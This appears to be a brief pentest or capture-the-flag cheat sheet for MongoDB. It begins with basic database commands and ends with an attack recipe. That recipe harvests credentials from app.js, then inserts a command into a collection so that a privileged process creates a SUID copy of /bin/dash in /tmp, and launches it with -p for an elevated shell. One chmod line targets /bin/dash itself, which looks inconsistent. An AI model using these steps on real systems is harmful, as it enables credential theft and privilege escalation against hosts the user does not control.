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Mongo DB Commands

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 Here are some basic mongo db commands 

#List Databases
show dbs

#Select DB
use database_name

#List Collections (rows & Columns in sql)
show collections 
#list the items in a collection
db.collection_name.find();
db.users.find();
db.users.find().forEach(printjson)
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find creds in app.js 
example: mongodb://usernameLpassword@localhost:port/.......=DEFAULT&authSource=databasename';


mongo -p -u username DBName

//Creating SUID 
db.TableName.insert({"cmd" : "cp /bin/dash /tmp/filename; chmod 6755 /bin/dash;chmod u+s /tmp/filename"})           
db.TableName.find() 

//run with privs
/tmp/filename -p


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